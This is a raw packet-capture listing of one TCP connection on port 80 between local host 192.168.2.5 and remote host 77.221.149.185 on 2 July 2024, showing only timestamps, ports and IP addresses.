Jul 2, 2024 22:52:29.201901913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201913118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.201950073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202231884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202244043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202275991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202290058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202291965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202300072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202312946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202320099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202331066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202341080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202344894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202377081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202522993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202569008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202627897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202673912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202719927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202729940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202739954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202749968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202781916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202840090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202850103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202892065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.202927113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202936888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.202966928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.203041077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203116894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203126907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203136921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203147888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203161955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.203185081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.203187943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.204117060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204128027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204138041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204147100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204158068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204169989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.204174995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204185963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204194069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.204200029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.204232931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.205070972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205080032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205085993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205117941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205121040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.205127954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205137968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205149889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205185890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.205195904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.205215931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.257764101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.285737991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285834074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285844088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285852909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285877943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285887957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.285887957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285898924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.285916090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.285932064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286026955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286068916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286324024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286370039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286379099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286406994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286492109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286501884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286513090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286526918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286540985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286565065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286623001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286674023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286706924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286717892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286732912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286741972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286752939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286761045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286761999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.286787033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286798954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.286839962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287456036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287466049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287475109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287503958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.287525892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.287708998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287718058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287729025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287738085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.287753105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.287781954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.288389921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288399935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288409948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288428068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.288506985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288516998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288526058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288536072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288551092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.288573980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.288753033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.288794041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.289916039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.289926052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.289936066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290002108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290011883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290013075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290020943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290038109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290043116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290061951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290230989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290249109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290263891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290272951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290280104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290283918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290293932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290307045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290313959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290316105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290326118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290344954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290370941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290676117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290684938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290694952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290704012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290714025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290723085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290724039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290733099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290741920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290743113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290750980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290755987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290762901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.290770054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.290811062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291192055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291203022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291213989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291227102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291237116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291238070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291248083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291258097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291261911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291266918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291276932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291286945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291301012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291332006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291484118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291493893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291511059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291521072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291555882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291569948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291634083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291642904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291654110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291663885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291673899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291682959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291685104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291692972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291712046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291727066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291821957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291831970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291862011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.291871071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291894913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.291910887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292021036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292032003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292042017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292051077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292061090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292066097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.292069912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292079926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292098999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.292114019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.292511940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292521000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292530060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.292551041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.293627024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.293688059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.293734074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.293838978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.293848991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.293878078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.294115067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294125080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294136047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294146061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294154882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.294154882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294183969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.294202089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.294431925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294440985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294450998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294461012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294470072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.294481993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.294503927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.374949932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.374979973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.374991894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375045061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375056028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375066042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375077963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375169992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375417948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375428915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375439882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375468969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375490904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375497103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375503063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375514030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375524044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375534058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375549078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375571012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375646114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375657082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375667095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375677109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375685930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375694990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375715017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375739098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.375796080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375808001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375816107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.375837088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.376271009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376281023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376291037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376321077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.376338005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.376368046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376379013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376389027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376413107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.376694918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376940966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.376944065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376955032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376965046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.376988888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.377008915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.377018929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.377024889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.377034903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.377053976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.377232075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378117085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.378539085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378587008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378597975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378629923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.378711939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378722906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378735065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378746033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378762007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378763914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.378788948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.378801107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.378931046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378948927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378958941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.378968954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379002094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379009008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379019022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379019976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379029036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379040003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379049063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379059076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379060984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379089117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379116058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379273891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379283905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379293919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379321098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379417896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379426956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379452944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379468918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379475117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379478931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379488945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379492044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379498959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379508972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379518032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379520893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379537106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379570961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379728079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379745007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379755020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379792929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379863977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379875898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379885912 CEST	80	49712	77.221.149.185	192.168.2.5
